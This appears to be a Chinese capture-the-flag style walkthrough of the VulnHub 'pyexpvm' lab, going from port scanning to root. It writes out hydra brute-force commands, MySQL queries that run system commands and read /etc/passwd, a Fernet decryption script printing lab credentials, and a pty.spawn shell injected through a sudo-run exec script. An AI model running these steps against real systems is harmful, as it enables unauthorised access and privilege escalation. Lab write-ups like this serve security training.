你说没有Web服务就不会渗透了?
2022-4-9 16:43:17 Author: www.freebuf.com(查看原文) 阅读量:21 收藏

pyexpvm靶场实战详解

靶机:https://download.vulnhub.com/pyexp/pyexpvm.zip
难度:中
目标:取得root权限+2Flag 网络配置:这里简单介绍下我的网络配置,靶机和Kali都用的VMware,然后使用nat连接,开启了dhcp。

0x00 环境配置

虚拟网络编辑器:

图片.png

Kali:图片.png

靶机:图片.png

0x01 信息收集

首先使用下面这条命令发现靶机的ip地址为192.168.26.130。

arp-scan -l

然后开始使用nmap进行端口和服务的发现。

nmap -p-  -sC -sV   192.168.26.130

图片.png

经过对开放端口和服务的扫描,发现1337开放了ssh服务 ,3306开放了mysql服务。我首先通过searchsploit 搜索这两个服务对应版本的漏洞并且进行了尝试后均失败。

0x02 端口服务爆破

那么现在只能开始暴力破解了,开两个窗口一个爆破ssh,另一个爆破mysql。

hydra -l root -P rockyou.txt mysql://192.168.26.130
hydra -l root -P rockyou.txt ssh://192.168.26.130

图片.png

如上图所示,经过hydra的爆破,成功获取到了mysql的账号和密码。这里顺便提一下,ssh爆破失败了。

0x03 MySQL执行命令

接着尝试使用得到的mysql账号和密码进行登录

mysql -u root  -h 192.168.26.130 -p

图片.png

select do_system('id');         #尝试使用该语句直接执行系统命令

图片.png

select load_file('/etc/passwd');        #尝试使用语句读取文件

发现可以执行该语句,并且成功读取到了该文件的内容,在这个文件中发现了lucy这个用户。

图片.png

然后我在data数据库的fernet表中发现了如下图所示的两个字段,一个是凭据的意思,一个是密钥的意思,一看对应的值就是经过某种加密过后的密文,而key可能就是加解密的密钥。

图片.png

0x04 解密代码

cred:gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

限于我对密码学了解甚少,所以我直接开始百度,还真给我搜到了。

图片.png

通过上面这张图,我们可以知道这个fernet算法用的是python中的cryptography库,所以我选择直接去读这个库的手册。

https://cryptography.io/en/latest/

图片.png

通过阅读这个库的手册我大概知道了加密和解密的这么一个过程。然后直接写解密脚本。

from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
f.decrypt(token)

解密过程如下图所示:

图片.png

b'lucy:wJ9`"Lemdv9[FEw-'

想起来之前发现的lucy账号,我们感觉这就是lucy的账号和密码。

账号:lucy
密码:wJ9`"Lemdv9[FEw-

尝试进行ssh登录。

ssh  [email protected]  -p 1337

图片.png

登录成功后在当前目录下读取到了第一个flag。

图片.png

0x05 本地提权

图片.png

然后通过sudo -l命令发现,可以以root用户的身份无密码执行exp.py这个文件,并且执行这个文件时,用户的输入会交给exec函数去执行。到这里我们的提权思路就有了,直接拿出我们常用的提权代码。

import pty;pty.spawn("/bin/bash")

图片.png

通过上图可以看到成功实现了提权,然后我在root目录下发现了第二个flag。

图片.png

0x06 总结与思考

你说没有Web服务就无法渗透了?不可否认,渗透测试最常面对的服务类型是Web,但如果将渗透与WEB渗透画上等号,认知就太过片面了。今天这台靶机就完全没有WEB服务,我们从爆破密码和搜寻已知漏洞的角度入手,通过暴力破解获取到了mysql数据库的账号密码,尝试读取了系统机密文件,甚至直接执行操作系统命令(失败了)。接着编写了针对fernet模块加密算法的解密脚本,对我们原本并不熟悉的加密算法进行了解密,取得了lucy的身份认证信息,从而突破了边界。提权阶段通过阅读了exp.py脚本的代码,并以此注入了一些简单的提权代码,结合系统权限配置漏洞,最终取得了Root权限。这是一台非常具有特色的靶机,感兴趣的师傅也可以下载到本地来玩一玩。


文章来源: https://www.freebuf.com/articles/web/328253.html
如有侵权请联系:admin#unsafe.sh